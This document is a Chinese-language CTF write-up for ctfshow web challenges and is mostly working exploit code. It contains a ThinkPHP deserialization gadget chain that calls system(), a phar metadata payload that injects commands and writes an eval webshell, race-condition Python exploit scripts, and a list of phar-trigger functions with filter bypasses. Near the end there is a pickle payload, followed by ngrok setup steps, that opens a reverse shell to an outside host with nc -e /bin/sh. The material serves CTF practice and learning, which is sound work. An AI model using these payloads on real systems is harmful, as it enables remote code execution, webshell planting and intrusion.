<?php namespace think \process \pipes { use think \model \Pivot ; class Windows { private $files = []; public function __construct ( ) { $this ->files[]=new Pivot (); } } } namespace think { abstract class Model { protected $append = []; private $data = []; public function __construct ( ) { $this ->data=array ( 'feng' =>new Request () ); $this ->append=array ( 'feng' =>array ( 'hello' =>'world' ) ); } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace think { class Request { protected $hook = []; protected $filter ; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; public function __construct ( ) { $this ->hook['visible' ]=[$this ,'isAjax' ]; $this ->filter="system" ; } } } namespace { use think \process \pipes \Windows ; echo base64_encode (serialize (new Windows ())); }
利用多加个变量system=ls /
web275 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile){ system ('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; } where is flag?
web276 位置跟277换了
<?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public $admin = false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile && $this ->admin){ system ('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; } where is flag?
先改一下php.ini配置
生成phar 创建一个phar.phar
<?php class filter { public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*" ; public $filecontent ; public $evilfile = true ; public $admin = true ; } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new filter (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
import requestsimport threadingimport base64thread_num=10 thread_list=[] url = 'http://79529c41-3bf4-48da-bac0-ab164e6811b7.challenge.ctf.show:8080/' f = open ('./phar.phar' , 'rb' ) data = f.read() flag = False def work5 (): global flag r = requests.post(url+"?fn=phar://phar.phar" ,proxies={'http' : '127.0.0.1:2021' }) if "ctfshow{" in r.text: print (r.text) flag = True with open ('./flag.txt' ,'w+' ,encoding = 'utf-8' ) as f: f.write(r.text) def work6 (): global flag r = requests.post(url+"?fn=phar.phar" , data=data,proxies={'http' : '127.0.0.1:2021' }) if "ctfshow{" in r.text: print (r.text) flag = True with open ('./flag.txt' ,'w+' ,encoding = 'utf-8' ) as f: f.write(r.text) def work7 (): global flag r = requests.post(url+"?fn=/var/www/html/phar.phar" , data=data,proxies={'http' : '127.0.0.1:2021' }) result = requests.get(url+"?fn=phar://phar.phar" ,proxies={'http' : '127.0.0.1:2021' }) if "ctfshow{" in result.text: print (result.text) flag = True def run (): global flag while not flag: print ('retry' ) """ 方法一:非预期 """ work7() """ 方法二:预期,条件竞争 """ if __name__ == '__main__' : while thread_num: t = threading.Thread(target=run) thread_num-=1 t.start() thread_list.append(t) for i in thread_list: i.join()
#实践 #?fn=phar://phar.phar #?fn=phar://./phar.phar 和?fn=phar://phar.phar/ """ 警告,不生成 Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file "" in phar "phar.phar" cannot be empty in <b>/var/www/html/index.php Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br /> Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php 因为目录下无phar.phar文件,故报错 """ #羽师傅的解法 #?fn=a """ 生成空txt 因为:无post数据 """ #方法一 #?fn=/var/www/html/phar.phar会生成phar.phar文件 #原因在于:file_put_contents($_GET['fn'], $content);能生成phar.phar文件(绝对路径),但unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);中fn与当前路径拼接会导致删除失败,故成功生成phar文件 #但如果竞争就会生成部分空文件和部分phar内容的TXT,而且不生成phar.phar文件,不懂。。。可能冲突了?多线程没学好 """ unlink(/var/www/html//var/www/html/phar.phar): No such file or directory in <b>/var/www/html/index.php """ #假如phar.phar文件存在,则?fn=phar://phar.phar触发反序列化 """ Warning</b>: file_put_contents(phar://phar.phar): failed to open stream: phar error: file "" in phar "phar.phar" cannot be empty in <b>/var/www/html/index.php</b> on line <b>47</b><br /> Warning</b>: copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br /> Warning</b>: unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php """ 方法二: """ 实践后发现 通过条件竞争,先?fn=phar.phar,data=数据,生成phar.phar 然后?fn=phar://phar.phar unlink()/copy()/file_put_content()都可以触发phar反序列化 但unlink前面有路径阻隔,本来想../绕过,发现..被过滤 """
import requestsimport threadingimport base64thread_num = 10 thread_list = [] url = "http://a69f9705-e24a-4a95-a0ff-606456852ce1.challenge.ctf.show/" f = open ('./phar.phar' ,'rb' ) data = f.read() flag = False def work5 (): global flag r = requests.post(url + "?fn=phar://phar.phar" ) if "ctfshow" in r.text: print (r.text) flag = True with open ('./flag.txt' ,'w+' ,encoding='utf-8' ) as f: f.write(r.text) def work6 (): global flag r = requests.post(url + "?fn=phar.phar" ,data=data) if "ctfshow{" in r.text: print (r.text) flag = True with open ('./flag.txt' ,'w+' ,encoding='utf-8' ) as f: f.write(r.text) def work7 (): global flag r = requests.post(url + "?=/var/www/html/phar.phar" ,data=data) result = requests.get(url + "?fn=phar://phar.phar" ) if "ctfshow{" in result.text: print (result.text) flag = True def run (): global flag while not flag: print ('retry' ) work7() if __name__ == '__main__' : while thread_num: t = threading.Thread(target=run) thread_num -= 1 t.start() thread_list.append(t) for i in thread_list: i.join()
phar反序列化 phar文件本质是一种压缩文件,会以序列化的形式存储用户定义的meta-data.当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
什么是phar文件 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多php代码文件和其他资源(如图像 样式表等)捆绑到一个归档文件中来实现应用程序和库的分发.
php通过用户定义的内置的”流包装器”实现复杂的文件处理功能.内置包装器可以用于文件操作系统函数,如[fopen(),copy(),file_exists()和filesize().phar://就是一种内置的流包装器
php中一些常见的流包装器
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
phar文件的结构
stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?>结尾,否则无法识别.xxx可为自定义内容 manifest:phar 文件本质上是一种压缩文件,其中每个被压缩的文件的权限 属性等信息被放在这个部分.这个部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方 content:被压缩文件的内容 signature (可空):签名,放在末尾
生成一个phar文件
<?php class Test { } @unlink ("phar.phar" ); $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new Test (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
利用条件
phar文件要能够上传到服务器端
要有可用的魔术方法作为跳板
文件操作函数的参数可控,且: / phar等特殊字符没有被过滤
受影响函数
exif_thumbnail exif_imagetype imageloadfont imagecreatefrom***系列函数 hash_hmac_file hash_file hash_update_file md5_file sha1_file get_meta_tags get_headers getimagesize getimagesizefromstring $zip = new ZipArchive ();$res = $zip ->open ('c.zip' );$zip ->extractTo ('phar://test.phar/test' );$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt' ;$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt' ;<?php $pdo = new PDO (sprintf ("pgsql:host=%s;dbname=%s;user=%s;password=%s" , "127.0.0.1" , "postgres" , "sx" , "123456" )); @$pdo ->pgsqlCopyFromFile ('aa' , 'phar://phar.phar/aa' ); ?> <?php class A { public $s = '' ; public function __wakeup ( ) { system ($this ->s); } } $m = mysqli_init ();mysqli_options ($m , MYSQLI_OPT_LOCAL_INFILE, true );$s = mysqli_real_connect ($m , 'localhost' , 'root' , 'root' , 'testtable' , 3306 );$p = mysqli_query ($m , 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;' );?>
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。 php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过 1、$phar->setStub(“GIF89a”.“”); //设置stub 2、生成一个phar.phar,修改后缀名为phar.gif
web277-278
import os import pickle import base64 import requests class exp (object ): def __reduce__ (self ): return (os .popen ,('nc 2.tcp .ngrok .io 16400 -e /bin /sh ',)) a =exp ()s =pickle .dumps (a )url ="http ://8df544be -de90 -458a -ac48 -26e622963733 .challenge .ctf .show /backdoor "params = { 'data' :base64.b64encode (s) } r=requests.get (url=url,params=params) print (r.text)
这个好像用过一次就要重开一个
nc 反弹bash 首先攻击端开两个窗口一个用来反弹bash,另一个用来转发流量
监听本地8888端口,kali的ip是152
转发tcp流量,转发到kali的888端口上面
./ngrok tcp 192.168.5.152:8888
被攻击端的语法
nc -vv 6.tcp.ngrok.io 16893 -e /bin/sh